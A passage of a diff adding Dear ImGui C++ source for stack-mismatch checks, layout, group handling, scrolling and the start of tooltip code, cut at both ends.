IM_ASSERT(g.CurrentWindow->IsFallbackWindow); + break; + } + IM_ASSERT(window == g.CurrentWindow); + if (window->Flags & ImGuiWindowFlags_ChildWindow) + { + if (log_callback) log_callback(user_data, "Recovered from missing EndChild() for '%s'", window->Name); + EndChild(); + } + else + { + if (log_callback) log_callback(user_data, "Recovered from missing End() for '%s'", window->Name); + End(); + } + } +} + +// Save current stack sizes for later compare +void ImGuiStackSizes::SetToCurrentState() +{ + ImGuiContext& g = *GImGui; + ImGuiWindow* window = g.CurrentWindow; + SizeOfIDStack = (short)window->IDStack.Size; + SizeOfColorStack = (short)g.ColorStack.Size; + SizeOfStyleVarStack = (short)g.StyleVarStack.Size; + SizeOfFontStack = (short)g.FontStack.Size; + SizeOfFocusScopeStack = (short)g.FocusScopeStack.Size; + SizeOfGroupStack = (short)g.GroupStack.Size; + SizeOfBeginPopupStack = (short)g.BeginPopupStack.Size; +} + +// Compare to detect usage errors +void ImGuiStackSizes::CompareWithCurrentState() +{ + ImGuiContext& g = *GImGui; + ImGuiWindow* window = g.CurrentWindow; + IM_UNUSED(window); + + // Window stacks + // NOT checking: DC.ItemWidth, DC.TextWrapPos (per window) to allow user to conveniently push once and not pop (they are cleared on Begin) + IM_ASSERT(SizeOfIDStack == window->IDStack.Size && "PushID/PopID or TreeNode/TreePop Mismatch!"); + + // Global stacks + // For color, style and font stacks there is an incentive to use Push/Begin/Pop/.../End patterns, so we relax our checks a little to allow them. + IM_ASSERT(SizeOfGroupStack == g.GroupStack.Size && "BeginGroup/EndGroup Mismatch!"); + IM_ASSERT(SizeOfBeginPopupStack == g.BeginPopupStack.Size && "BeginPopup/EndPopup or BeginMenu/EndMenu Mismatch!"); + IM_ASSERT(SizeOfColorStack >= g.ColorStack.Size && "PushStyleColor/PopStyleColor Mismatch!"); + IM_ASSERT(SizeOfStyleVarStack >= g.StyleVarStack.Size && "PushStyleVar/PopStyleVar Mismatch!"); + IM_ASSERT(SizeOfFontStack >= g.FontStack.Size && "PushFont/PopFont Mismatch!"); + IM_ASSERT(SizeOfFocusScopeStack == g.FocusScopeStack.Size && "PushFocusScope/PopFocusScope Mismatch!"); +} + + +//----------------------------------------------------------------------------- +// [SECTION] LAYOUT +//----------------------------------------------------------------------------- +// - ItemSize() +// - ItemAdd() +// - SameLine() +// - GetCursorScreenPos() +// - SetCursorScreenPos() +// - GetCursorPos(), GetCursorPosX(), GetCursorPosY() +// - SetCursorPos(), SetCursorPosX(), SetCursorPosY() +// - GetCursorStartPos() +// - Indent() +// - Unindent() +// - SetNextItemWidth() +// - PushItemWidth() +// - PushMultiItemsWidths() +// - PopItemWidth() +// - CalcItemWidth() +// - CalcItemSize() +// - GetTextLineHeight() +// - GetTextLineHeightWithSpacing() +// - GetFrameHeight() +// - GetFrameHeightWithSpacing() +// - GetContentRegionMax() +// - GetContentRegionMaxAbs() [Internal] +// - GetContentRegionAvail(), +// - GetWindowContentRegionMin(), GetWindowContentRegionMax() +// - GetWindowContentRegionWidth() +// - BeginGroup() +// - EndGroup() +// Also see in imgui_widgets: tab bars, columns. +//----------------------------------------------------------------------------- + +// Advance cursor given item size for layout. +// Register minimum needed size so it can extend the bounding box used for auto-fit calculation. +// See comments in ItemAdd() about how/why the size provided to ItemSize() vs ItemAdd() may often different. +void ImGui::ItemSize(const ImVec2& size, float text_baseline_y) +{ + ImGuiContext& g = *GImGui; + ImGuiWindow* window = g.CurrentWindow; + if (window->SkipItems) + return; + + // We increase the height in this function to accommodate for baseline offset. + // In theory we should be offsetting the starting position (window->DC.CursorPos), that will be the topic of a larger refactor, + // but since ItemSize() is not yet an API that moves the cursor (to handle e.g. wrapping) enlarging the height has the same effect. + const float offset_to_match_baseline_y = (text_baseline_y >= 0) ? ImMax(0.0f, window->DC.CurrLineTextBaseOffset - text_baseline_y) : 0.0f; + const float line_height = ImMax(window->DC.CurrLineSize.y, size.y + offset_to_match_baseline_y); + + // Always align ourselves on pixel boundaries + //if (g.IO.KeyAlt) window->DrawList->AddRect(window->DC.CursorPos, window->DC.CursorPos + ImVec2(size.x, line_height), IM_COL32(255,0,0,200)); // [DEBUG] + window->DC.CursorPosPrevLine.x = window->DC.CursorPos.x + size.x; + window->DC.CursorPosPrevLine.y = window->DC.CursorPos.y; + window->DC.CursorPos.x = IM_FLOOR(window->Pos.x + window->DC.Indent.x + window->DC.ColumnsOffset.x); // Next line + window->DC.CursorPos.y = IM_FLOOR(window->DC.CursorPos.y + line_height + g.Style.ItemSpacing.y); // Next line + window->DC.CursorMaxPos.x = ImMax(window->DC.CursorMaxPos.x, window->DC.CursorPosPrevLine.x); + window->DC.CursorMaxPos.y = ImMax(window->DC.CursorMaxPos.y, window->DC.CursorPos.y - g.Style.ItemSpacing.y); + //if (g.IO.KeyAlt) window->DrawList->AddCircle(window->DC.CursorMaxPos, 3.0f, IM_COL32(255,0,0,255), 4); // [DEBUG] + + window->DC.PrevLineSize.y = line_height; + window->DC.CurrLineSize.y = 0.0f; + window->DC.PrevLineTextBaseOffset = ImMax(window->DC.CurrLineTextBaseOffset, text_baseline_y); + window->DC.CurrLineTextBaseOffset = 0.0f; + + // Horizontal layout mode + if (window->DC.LayoutType == ImGuiLayoutType_Horizontal) + SameLine(); +} + +void ImGui::ItemSize(const ImRect& bb, float text_baseline_y) +{ + ItemSize(bb.GetSize(), text_baseline_y); +} + +// Declare item bounding box for clipping and interaction. +// Note that the size can be different than the one provided to ItemSize(). Typically, widgets that spread over available surface +// declare their minimum size requirement to ItemSize() and provide a larger region to ItemAdd() which is used drawing/interaction. +bool ImGui::ItemAdd(const ImRect& bb, ImGuiID id, const ImRect* nav_bb_arg) +{ + ImGuiContext& g = *GImGui; + ImGuiWindow* window = g.CurrentWindow; + + if (id != 0) + { + // Navigation processing runs prior to clipping early-out + // (a) So that NavInitRequest can be honored, for newly opened windows to select a default widget + // (b) So that we can scroll up/down past clipped items. This adds a small O(N) cost to regular navigation requests + // unfortunately, but it is still limited to one window. It may not scale very well for windows with ten of + // thousands of item, but at least NavMoveRequest is only set on user interaction, aka maximum once a frame. + // We could early out with "if (is_clipped && !g.NavInitRequest) return false;" but when we wouldn't be able + // to reach unclipped widgets. This would work if user had explicit scrolling control (e.g. mapped on a stick). + // We intentionally don't check if g.NavWindow != NULL because g.NavAnyRequest should only be set when it is non null. + // If we crash on a NULL g.NavWindow we need to fix the bug elsewhere. + window->DC.NavLayerActiveMaskNext |= (1 << window->DC.NavLayerCurrent); + if (g.NavId == id || g.NavAnyRequest) + if (g.NavWindow->RootWindowForNav == window->RootWindowForNav) + if (window == g.NavWindow || ((window->Flags | g.NavWindow->Flags) & ImGuiWindowFlags_NavFlattened)) + NavProcessItem(window, nav_bb_arg ? *nav_bb_arg : bb, id); + + // [DEBUG] Item Picker tool, when enabling the "extended" version we perform the check in ItemAdd() +#ifdef IMGUI_DEBUG_TOOL_ITEM_PICKER_EX + if (id == g.DebugItemPickerBreakId) + { + IM_DEBUG_BREAK(); + g.DebugItemPickerBreakId = 0; + } +#endif + } + + // Equivalent to calling SetLastItemData() + window->DC.LastItemId = id; + window->DC.LastItemRect = bb; + window->DC.LastItemStatusFlags = ImGuiItemStatusFlags_None; + g.NextItemData.Flags = ImGuiNextItemDataFlags_None; + +#ifdef IMGUI_ENABLE_TEST_ENGINE + if (id != 0) + IMGUI_TEST_ENGINE_ITEM_ADD(nav_bb_arg ? *nav_bb_arg : bb, id); +#endif + + // Clipping test + const bool is_clipped = IsClippedEx(bb, id, false); + if (is_clipped) + return false; + //if (g.IO.KeyAlt) window->DrawList->AddRect(bb.Min, bb.Max, IM_COL32(255,255,0,120)); // [DEBUG] + + // We need to calculate this now to take account of the current clipping rectangle (as items like Selectable may change them) + if (IsMouseHoveringRect(bb.Min, bb.Max)) + window->DC.LastItemStatusFlags |= ImGuiItemStatusFlags_HoveredRect; + return true; +} + +// Gets back to previous line and continue with horizontal layout +// offset_from_start_x == 0 : follow right after previous item +// offset_from_start_x != 0 : align to specified x position (relative to window/group left) +// spacing_w < 0 : use default spacing if pos_x == 0, no spacing if pos_x != 0 +// spacing_w >= 0 : enforce spacing amount +void ImGui::SameLine(float offset_from_start_x, float spacing_w) +{ + ImGuiWindow* window = GetCurrentWindow(); + if (window->SkipItems) + return; + + ImGuiContext& g = *GImGui; + if (offset_from_start_x != 0.0f) + { + if (spacing_w < 0.0f) spacing_w = 0.0f; + window->DC.CursorPos.x = window->Pos.x - window->Scroll.x + offset_from_start_x + spacing_w + window->DC.GroupOffset.x + window->DC.ColumnsOffset.x; + window->DC.CursorPos.y = window->DC.CursorPosPrevLine.y; + } + else + { + if (spacing_w < 0.0f) spacing_w = g.Style.ItemSpacing.x; + window->DC.CursorPos.x = window->DC.CursorPosPrevLine.x + spacing_w; + window->DC.CursorPos.y = window->DC.CursorPosPrevLine.y; + } + window->DC.CurrLineSize = window->DC.PrevLineSize; + window->DC.CurrLineTextBaseOffset = window->DC.PrevLineTextBaseOffset; +} + +ImVec2 ImGui::GetCursorScreenPos() +{ + ImGuiWindow* window = GetCurrentWindowRead(); + return window->DC.CursorPos; +} + +void ImGui::SetCursorScreenPos(const ImVec2& pos) +{ + ImGuiWindow* window = GetCurrentWindow(); + window->DC.CursorPos = pos; + window->DC.CursorMaxPos = ImMax(window->DC.CursorMaxPos, window->DC.CursorPos); +} + +// User generally sees positions in window coordinates. Internally we store CursorPos in absolute screen coordinates because it is more convenient. +// Conversion happens as we pass the value to user, but it makes our naming convention confusing because GetCursorPos() == (DC.CursorPos - window.Pos). May want to rename 'DC.CursorPos'. +ImVec2 ImGui::GetCursorPos() +{ + ImGuiWindow* window = GetCurrentWindowRead(); + return window->DC.CursorPos - window->Pos + window->Scroll; +} + +float ImGui::GetCursorPosX() +{ + ImGuiWindow* window = GetCurrentWindowRead(); + return window->DC.CursorPos.x - window->Pos.x + window->Scroll.x; +} + +float ImGui::GetCursorPosY() +{ + ImGuiWindow* window = GetCurrentWindowRead(); + return window->DC.CursorPos.y - window->Pos.y + window->Scroll.y; +} + +void ImGui::SetCursorPos(const ImVec2& local_pos) +{ + ImGuiWindow* window = GetCurrentWindow(); + window->DC.CursorPos = window->Pos - window->Scroll + local_pos; + window->DC.CursorMaxPos = ImMax(window->DC.CursorMaxPos, window->DC.CursorPos); +} + +void ImGui::SetCursorPosX(float x) +{ + ImGuiWindow* window = GetCurrentWindow(); + window->DC.CursorPos.x = window->Pos.x - window->Scroll.x + x; + window->DC.CursorMaxPos.x = ImMax(window->DC.CursorMaxPos.x, window->DC.CursorPos.x); +} + +void ImGui::SetCursorPosY(float y) +{ + ImGuiWindow* window = GetCurrentWindow(); + window->DC.CursorPos.y = window->Pos.y - window->Scroll.y + y; + window->DC.CursorMaxPos.y = ImMax(window->DC.CursorMaxPos.y, window->DC.CursorPos.y); +} + +ImVec2 ImGui::GetCursorStartPos() +{ + ImGuiWindow* window = GetCurrentWindowRead(); + return window->DC.CursorStartPos - window->Pos; +} + +void ImGui::Indent(float indent_w) +{ + ImGuiContext& g = *GImGui; + ImGuiWindow* window = GetCurrentWindow(); + window->DC.Indent.x += (indent_w != 0.0f) ? indent_w : g.Style.IndentSpacing; + window->DC.CursorPos.x = window->Pos.x + window->DC.Indent.x + window->DC.ColumnsOffset.x; +} + +void ImGui::Unindent(float indent_w) +{ + ImGuiContext& g = *GImGui; + ImGuiWindow* window = GetCurrentWindow(); + window->DC.Indent.x -= (indent_w != 0.0f) ? indent_w : g.Style.IndentSpacing; + window->DC.CursorPos.x = window->Pos.x + window->DC.Indent.x + window->DC.ColumnsOffset.x; +} + +// Affect large frame+labels widgets only. +void ImGui::SetNextItemWidth(float item_width) +{ + ImGuiContext& g = *GImGui; + g.NextItemData.Flags |= ImGuiNextItemDataFlags_HasWidth; + g.NextItemData.Width = item_width; +} + +void ImGui::PushItemWidth(float item_width) +{ + ImGuiContext& g = *GImGui; + ImGuiWindow* window = g.CurrentWindow; + window->DC.ItemWidth = (item_width == 0.0f ? window->ItemWidthDefault : item_width); + window->DC.ItemWidthStack.push_back(window->DC.ItemWidth); + g.NextItemData.Flags &= ~ImGuiNextItemDataFlags_HasWidth; +} + +void ImGui::PushMultiItemsWidths(int components, float w_full) +{ + ImGuiContext& g = *GImGui; + ImGuiWindow* window = g.CurrentWindow; + const ImGuiStyle& style = g.Style; + const float w_item_one = ImMax(1.0f, IM_FLOOR((w_full - (style.ItemInnerSpacing.x) * (components - 1)) / (float)components)); + const float w_item_last = ImMax(1.0f, IM_FLOOR(w_full - (w_item_one + style.ItemInnerSpacing.x) * (components - 1))); + window->DC.ItemWidthStack.push_back(w_item_last); + for (int i = 0; i < components - 1; i++) + window->DC.ItemWidthStack.push_back(w_item_one); + window->DC.ItemWidth = window->DC.ItemWidthStack.back(); + g.NextItemData.Flags &= ~ImGuiNextItemDataFlags_HasWidth; +} + +void ImGui::PopItemWidth() +{ + ImGuiWindow* window = GetCurrentWindow(); + window->DC.ItemWidthStack.pop_back(); + window->DC.ItemWidth = window->DC.ItemWidthStack.empty() ? window->ItemWidthDefault : window->DC.ItemWidthStack.back(); +} + +// Calculate default item width given value passed to PushItemWidth() or SetNextItemWidth(). +// The SetNextItemWidth() data is generally cleared/consumed by ItemAdd() or NextItemData.ClearFlags() +float ImGui::CalcItemWidth() +{ + ImGuiContext& g = *GImGui; + ImGuiWindow* window = g.CurrentWindow; + float w; + if (g.NextItemData.Flags & ImGuiNextItemDataFlags_HasWidth) + w = g.NextItemData.Width; + else + w = window->DC.ItemWidth; + if (w < 0.0f) + { + float region_max_x = GetContentRegionMaxAbs().x; + w = ImMax(1.0f, region_max_x - window->DC.CursorPos.x + w); + } + w = IM_FLOOR(w); + return w; +} + +// [Internal] Calculate full item size given user provided 'size' parameter and default width/height. Default width is often == CalcItemWidth(). +// Those two functions CalcItemWidth vs CalcItemSize are awkwardly named because they are not fully symmetrical. +// Note that only CalcItemWidth() is publicly exposed. +// The 4.0f here may be changed to match CalcItemWidth() and/or BeginChild() (right now we have a mismatch which is harmless but undesirable) +ImVec2 ImGui::CalcItemSize(ImVec2 size, float default_w, float default_h) +{ + ImGuiWindow* window = GImGui->CurrentWindow; + + ImVec2 region_max; + if (size.x < 0.0f || size.y < 0.0f) + region_max = GetContentRegionMaxAbs(); + + if (size.x == 0.0f) + size.x = default_w; + else if (size.x < 0.0f) + size.x = ImMax(4.0f, region_max.x - window->DC.CursorPos.x + size.x); + + if (size.y == 0.0f) + size.y = default_h; + else if (size.y < 0.0f) + size.y = ImMax(4.0f, region_max.y - window->DC.CursorPos.y + size.y); + + return size; +} + +float ImGui::GetTextLineHeight() +{ + ImGuiContext& g = *GImGui; + return g.FontSize; +} + +float ImGui::GetTextLineHeightWithSpacing() +{ + ImGuiContext& g = *GImGui; + return g.FontSize + g.Style.ItemSpacing.y; +} + +float ImGui::GetFrameHeight() +{ + ImGuiContext& g = *GImGui; + return g.FontSize + g.Style.FramePadding.y * 2.0f; +} + +float ImGui::GetFrameHeightWithSpacing() +{ + ImGuiContext& g = *GImGui; + return g.FontSize + g.Style.FramePadding.y * 2.0f + g.Style.ItemSpacing.y; +} + +// FIXME: All the Contents Region function are messy or misleading. WE WILL AIM TO OBSOLETE ALL OF THEM WITH A NEW "WORK RECT" API. Thanks for your patience! + +// FIXME: This is in window space (not screen space!). +ImVec2 ImGui::GetContentRegionMax() +{ + ImGuiContext& g = *GImGui; + ImGuiWindow* window = g.CurrentWindow; + ImVec2 mx = window->ContentRegionRect.Max - window->Pos; + if (window->DC.CurrentColumns || g.CurrentTable) + mx.x = window->WorkRect.Max.x - window->Pos.x; + return mx; +} + +// [Internal] Absolute coordinate. Saner. This is not exposed until we finishing refactoring work rect features. +ImVec2 ImGui::GetContentRegionMaxAbs() +{ + ImGuiContext& g = *GImGui; + ImGuiWindow* window = g.CurrentWindow; + ImVec2 mx = window->ContentRegionRect.Max; + if (window->DC.CurrentColumns || g.CurrentTable) + mx.x = window->WorkRect.Max.x; + return mx; +} + +ImVec2 ImGui::GetContentRegionAvail() +{ + ImGuiWindow* window = GImGui->CurrentWindow; + return GetContentRegionMaxAbs() - window->DC.CursorPos; +} + +// In window space (not screen space!) +ImVec2 ImGui::GetWindowContentRegionMin() +{ + ImGuiWindow* window = GImGui->CurrentWindow; + return window->ContentRegionRect.Min - window->Pos; +} + +ImVec2 ImGui::GetWindowContentRegionMax() +{ + ImGuiWindow* window = GImGui->CurrentWindow; + return window->ContentRegionRect.Max - window->Pos; +} + +float ImGui::GetWindowContentRegionWidth() +{ + ImGuiWindow* window = GImGui->CurrentWindow; + return window->ContentRegionRect.GetWidth(); +} + +// Lock horizontal starting position + capture group bounding box into one "item" (so you can use IsItemHovered() or layout primitives such as SameLine() on whole group, etc.) +// Groups are currently a mishmash of functionalities which should perhaps be clarified and separated. +void ImGui::BeginGroup() +{ + ImGuiContext& g = *GImGui; + ImGuiWindow* window = g.CurrentWindow; + + g.GroupStack.resize(g.GroupStack.Size + 1); + ImGuiGroupData& group_data = g.GroupStack.back(); + group_data.WindowID = window->ID; + group_data.BackupCursorPos = window->DC.CursorPos; + group_data.BackupCursorMaxPos = window->DC.CursorMaxPos; + group_data.BackupIndent = window->DC.Indent; + group_data.BackupGroupOffset = window->DC.GroupOffset; + group_data.BackupCurrLineSize = window->DC.CurrLineSize; + group_data.BackupCurrLineTextBaseOffset = window->DC.CurrLineTextBaseOffset; + group_data.BackupActiveIdIsAlive = g.ActiveIdIsAlive; + group_data.BackupActiveIdPreviousFrameIsAlive = g.ActiveIdPreviousFrameIsAlive; + group_data.EmitItem = true; + + window->DC.GroupOffset.x = window->DC.CursorPos.x - window->Pos.x - window->DC.ColumnsOffset.x; + window->DC.Indent = window->DC.GroupOffset; + window->DC.CursorMaxPos = window->DC.CursorPos; + window->DC.CurrLineSize = ImVec2(0.0f, 0.0f); + if (g.LogEnabled) + g.LogLinePosY = -FLT_MAX; // To enforce Log carriage return +} + +void ImGui::EndGroup() +{ + ImGuiContext& g = *GImGui; + ImGuiWindow* window = g.CurrentWindow; + IM_ASSERT(g.GroupStack.Size > 0); // Mismatched BeginGroup()/EndGroup() calls + + ImGuiGroupData& group_data = g.GroupStack.back(); + IM_ASSERT(group_data.WindowID == window->ID); // EndGroup() in wrong window? + + ImRect group_bb(group_data.BackupCursorPos, ImMax(window->DC.CursorMaxPos, group_data.BackupCursorPos)); + + window->DC.CursorPos = group_data.BackupCursorPos; + window->DC.CursorMaxPos = ImMax(group_data.BackupCursorMaxPos, window->DC.CursorMaxPos); + window->DC.Indent = group_data.BackupIndent; + window->DC.GroupOffset = group_data.BackupGroupOffset; + window->DC.CurrLineSize = group_data.BackupCurrLineSize; + window->DC.CurrLineTextBaseOffset = group_data.BackupCurrLineTextBaseOffset; + if (g.LogEnabled) + g.LogLinePosY = -FLT_MAX; // To enforce Log carriage return + + if (!group_data.EmitItem) + { + g.GroupStack.pop_back(); + return; + } + + window->DC.CurrLineTextBaseOffset = ImMax(window->DC.PrevLineTextBaseOffset, group_data.BackupCurrLineTextBaseOffset); // FIXME: Incorrect, we should grab the base offset from the *first line* of the group but it is hard to obtain now. + ItemSize(group_bb.GetSize()); + ItemAdd(group_bb, 0); + + // If the current ActiveId was declared within the boundary of our group, we copy it to LastItemId so IsItemActive(), IsItemDeactivated() etc. will be functional on the entire group. + // It would be be neater if we replaced window.DC.LastItemId by e.g. 'bool LastItemIsActive', but would put a little more burden on individual widgets. + // Also if you grep for LastItemId you'll notice it is only used in that context. + // (The two tests not the same because ActiveIdIsAlive is an ID itself, in order to be able to handle ActiveId being overwritten during the frame.) + const bool group_contains_curr_active_id = (group_data.BackupActiveIdIsAlive != g.ActiveId) && (g.ActiveIdIsAlive == g.ActiveId) && g.ActiveId; + const bool group_contains_prev_active_id = (group_data.BackupActiveIdPreviousFrameIsAlive == false) && (g.ActiveIdPreviousFrameIsAlive == true); + if (group_contains_curr_active_id) + window->DC.LastItemId = g.ActiveId; + else if (group_contains_prev_active_id) + window->DC.LastItemId = g.ActiveIdPreviousFrame; + window->DC.LastItemRect = group_bb; + + // Forward Edited flag + if (group_contains_curr_active_id && g.ActiveIdHasBeenEditedThisFrame) + window->DC.LastItemStatusFlags |= ImGuiItemStatusFlags_Edited; + + // Forward Deactivated flag + window->DC.LastItemStatusFlags |= ImGuiItemStatusFlags_HasDeactivated; + if (group_contains_prev_active_id && g.ActiveId != g.ActiveIdPreviousFrame) + window->DC.LastItemStatusFlags |= ImGuiItemStatusFlags_Deactivated; + + g.GroupStack.pop_back(); + //window->DrawList->AddRect(group_bb.Min, group_bb.Max, IM_COL32(255,0,255,255)); // [Debug] +} + + +//----------------------------------------------------------------------------- +// [SECTION] SCROLLING +//----------------------------------------------------------------------------- + +// Helper to snap on edges when aiming at an item very close to the edge, +// So the difference between WindowPadding and ItemSpacing will be in the visible area after scrolling. +// When we refactor the scrolling API this may be configurable with a flag? +// Note that the effect for this won't be visible on X axis with default Style settings as WindowPadding.x == ItemSpacing.x by default. +static float CalcScrollEdgeSnap(float target, float snap_min, float snap_max, float snap_threshold, float center_ratio) +{ + if (target <= snap_min + snap_threshold) + return ImLerp(snap_min, target, center_ratio); + if (target >= snap_max - snap_threshold) + return ImLerp(target, snap_max, center_ratio); + return target; +} + +static ImVec2 CalcNextScrollFromScrollTargetAndClamp(ImGuiWindow* window) +{ + ImVec2 scroll = window->Scroll; + if (window->ScrollTarget.x < FLT_MAX) + { + float center_x_ratio = window->ScrollTargetCenterRatio.x; + float scroll_target_x = window->ScrollTarget.x; + float snap_x_min = 0.0f; + float snap_x_max = window->ScrollMax.x + window->Size.x; + if (window->ScrollTargetEdgeSnapDist.x > 0.0f) + scroll_target_x = CalcScrollEdgeSnap(scroll_target_x, snap_x_min, snap_x_max, window->ScrollTargetEdgeSnapDist.x, center_x_ratio); + scroll.x = scroll_target_x - center_x_ratio * (window->SizeFull.x - window->ScrollbarSizes.x); + } + if (window->ScrollTarget.y < FLT_MAX) + { + float decoration_up_height = window->TitleBarHeight() + window->MenuBarHeight(); + float center_y_ratio = window->ScrollTargetCenterRatio.y; + float scroll_target_y = window->ScrollTarget.y; + float snap_y_min = 0.0f; + float snap_y_max = window->ScrollMax.y + window->Size.y - decoration_up_height; + if (window->ScrollTargetEdgeSnapDist.y > 0.0f) + scroll_target_y = CalcScrollEdgeSnap(scroll_target_y, snap_y_min, snap_y_max, window->ScrollTargetEdgeSnapDist.y, center_y_ratio); + scroll.y = scroll_target_y - center_y_ratio * (window->SizeFull.y - window->ScrollbarSizes.y - decoration_up_height); + } + scroll.x = IM_FLOOR(ImMax(scroll.x, 0.0f)); + scroll.y = IM_FLOOR(ImMax(scroll.y, 0.0f)); + if (!window->Collapsed && !window->SkipItems) + { + scroll.x = ImMin(scroll.x, window->ScrollMax.x); + scroll.y = ImMin(scroll.y, window->ScrollMax.y); + } + return scroll; +} + +// Scroll to keep newly navigated item fully into view +ImVec2 ImGui::ScrollToBringRectIntoView(ImGuiWindow* window, const ImRect& item_rect) +{ + ImGuiContext& g = *GImGui; + ImRect window_rect(window->InnerRect.Min - ImVec2(1, 1), window->InnerRect.Max + ImVec2(1, 1)); + //GetForegroundDrawList(window)->AddRect(window_rect.Min, window_rect.Max, IM_COL32_WHITE); // [DEBUG] + + ImVec2 delta_scroll; + if (!window_rect.Contains(item_rect)) + { + if (window->ScrollbarX && item_rect.Min.x < window_rect.Min.x) + SetScrollFromPosX(window, item_rect.Min.x - window->Pos.x - g.Style.ItemSpacing.x, 0.0f); + else if (window->ScrollbarX && item_rect.Max.x >= window_rect.Max.x) + SetScrollFromPosX(window, item_rect.Max.x - window->Pos.x + g.Style.ItemSpacing.x, 1.0f); + if (item_rect.Min.y < window_rect.Min.y) + SetScrollFromPosY(window, item_rect.Min.y - window->Pos.y - g.Style.ItemSpacing.y, 0.0f); + else if (item_rect.Max.y >= window_rect.Max.y) + SetScrollFromPosY(window, item_rect.Max.y - window->Pos.y + g.Style.ItemSpacing.y, 1.0f); + + ImVec2 next_scroll = CalcNextScrollFromScrollTargetAndClamp(window); + delta_scroll = next_scroll - window->Scroll; + } + + // Also scroll parent window to keep us into view if necessary + if (window->Flags & ImGuiWindowFlags_ChildWindow) + delta_scroll += ScrollToBringRectIntoView(window->ParentWindow, ImRect(item_rect.Min - delta_scroll, item_rect.Max - delta_scroll)); + + return delta_scroll; +} + +float ImGui::GetScrollX() +{ + ImGuiWindow* window = GImGui->CurrentWindow; + return window->Scroll.x; +} + +float ImGui::GetScrollY() +{ + ImGuiWindow* window = GImGui->CurrentWindow; + return window->Scroll.y; +} + +float ImGui::GetScrollMaxX() +{ + ImGuiWindow* window = GImGui->CurrentWindow; + return window->ScrollMax.x; +} + +float ImGui::GetScrollMaxY() +{ + ImGuiWindow* window = GImGui->CurrentWindow; + return window->ScrollMax.y; +} + +void ImGui::SetScrollX(ImGuiWindow* window, float scroll_x) +{ + window->ScrollTarget.x = scroll_x; + window->ScrollTargetCenterRatio.x = 0.0f; + window->ScrollTargetEdgeSnapDist.x = 0.0f; +} + +void ImGui::SetScrollY(ImGuiWindow* window, float scroll_y) +{ + window->ScrollTarget.y = scroll_y; + window->ScrollTargetCenterRatio.y = 0.0f; + window->ScrollTargetEdgeSnapDist.y = 0.0f; +} + +void ImGui::SetScrollX(float scroll_x) +{ + ImGuiContext& g = *GImGui; + SetScrollX(g.CurrentWindow, scroll_x); +} + +void ImGui::SetScrollY(float scroll_y) +{ + ImGuiContext& g = *GImGui; + SetScrollY(g.CurrentWindow, scroll_y); +} + +// Note that a local position will vary depending on initial scroll value, +// This is a little bit confusing so bear with us: +// - local_pos = (absolution_pos - window->Pos) +// - So local_x/local_y are 0.0f for a position at the upper-left corner of a window, +// and generally local_x/local_y are >(padding+decoration) && <(size-padding-decoration) when in the visible area. +// - They mostly exists because of legacy API. +// Following the rules above, when trying to work with scrolling code, consider that: +// - SetScrollFromPosY(0.0f) == SetScrollY(0.0f + scroll.y) == has no effect! +// - SetScrollFromPosY(-scroll.y) == SetScrollY(-scroll.y + scroll.y) == SetScrollY(0.0f) == reset scroll. Of course writing SetScrollY(0.0f) directly then makes more sense +// We store a target position so centering and clamping can occur on the next frame when we are guaranteed to have a known window size +void ImGui::SetScrollFromPosX(ImGuiWindow* window, float local_x, float center_x_ratio) +{ + IM_ASSERT(center_x_ratio >= 0.0f && center_x_ratio <= 1.0f); + window->ScrollTarget.x = IM_FLOOR(local_x + window->Scroll.x); // Convert local position to scroll offset + window->ScrollTargetCenterRatio.x = center_x_ratio; + window->ScrollTargetEdgeSnapDist.x = 0.0f; +} + +void ImGui::SetScrollFromPosY(ImGuiWindow* window, float local_y, float center_y_ratio) +{ + IM_ASSERT(center_y_ratio >= 0.0f && center_y_ratio <= 1.0f); + local_y -= window->TitleBarHeight() + window->MenuBarHeight(); // FIXME: Would be nice to have a more standardized access to our scrollable/client rect + window->ScrollTarget.y = IM_FLOOR(local_y + window->Scroll.y); // Convert local position to scroll offset + window->ScrollTargetCenterRatio.y = center_y_ratio; + window->ScrollTargetEdgeSnapDist.y = 0.0f; +} + +void ImGui::SetScrollFromPosX(float local_x, float center_x_ratio) +{ + ImGuiContext& g = *GImGui; + SetScrollFromPosX(g.CurrentWindow, local_x, center_x_ratio); +} + +void ImGui::SetScrollFromPosY(float local_y, float center_y_ratio) +{ + ImGuiContext& g = *GImGui; + SetScrollFromPosY(g.CurrentWindow, local_y, center_y_ratio); +} + +// center_x_ratio: 0.0f left of last item, 0.5f horizontal center of last item, 1.0f right of last item. +void ImGui::SetScrollHereX(float center_x_ratio) +{ + ImGuiContext& g = *GImGui; + ImGuiWindow* window = g.CurrentWindow; + float spacing_x = g.Style.ItemSpacing.x; + float target_pos_x = ImLerp(window->DC.LastItemRect.Min.x - spacing_x, window->DC.LastItemRect.Max.x + spacing_x, center_x_ratio); + SetScrollFromPosX(window, target_pos_x - window->Pos.x, center_x_ratio); // Convert from absolute to local pos + + // Tweak: snap on edges when aiming at an item very close to the edge + window->ScrollTargetEdgeSnapDist.x = ImMax(0.0f, window->WindowPadding.x - spacing_x); +} + +// center_y_ratio: 0.0f top of last item, 0.5f vertical center of last item, 1.0f bottom of last item. +void ImGui::SetScrollHereY(float center_y_ratio) +{ + ImGuiContext& g = *GImGui; + ImGuiWindow* window = g.CurrentWindow; + float spacing_y = g.Style.ItemSpacing.y; + float target_pos_y = ImLerp(window->DC.CursorPosPrevLine.y - spacing_y, window->DC.CursorPosPrevLine.y + window->DC.PrevLineSize.y + spacing_y, center_y_ratio); + SetScrollFromPosY(window, target_pos_y - window->Pos.y, center_y_ratio); // Convert from absolute to local pos + + // Tweak: snap on edges when aiming at an item very close to the edge + window->ScrollTargetEdgeSnapDist.y = ImMax(0.0f, window->WindowPadding.y - spacing_y); +} + +//----------------------------------------------------------------------------- +// [SECTION] TOOLTIPS +//----------------------------------------------------------------------------- + +void ImGui::BeginTooltip() +{ + BeginTooltipEx(ImGuiWindowFlags_None, ImGuiTooltipFlags_None); +} + +void ImGui::BeginTooltipEx(ImGuiWindowFlags extra_flags, ImGuiTooltipFlags tooltip_flags) +{ + ImGuiContext& g = *GImGui; + + if (g.DragDropWithinSource || g.DragDropWithinTarget) + { + // The default tooltip position is a little offset to give space to see the context menu (it's also clamped within the current viewport/monitor) + // In the context of a dragging tooltip we try to reduce that offset and we enforce following the cursor. + // Whatever we do we want to call SetNextWindowPos() to enforce a tooltip position and disable clipping the tooltip without our display area, like regular tooltip do. + //ImVec2 tooltip_pos = g.IO.MousePos - g.ActiveIdClickOffset - g.Style.WindowPadding; + ImVec2 tooltip_pos = g.IO.MousePos + ImVec2(16 * g.Style.MouseCursorScale, 8 * g.Style.MouseCursorScale); + 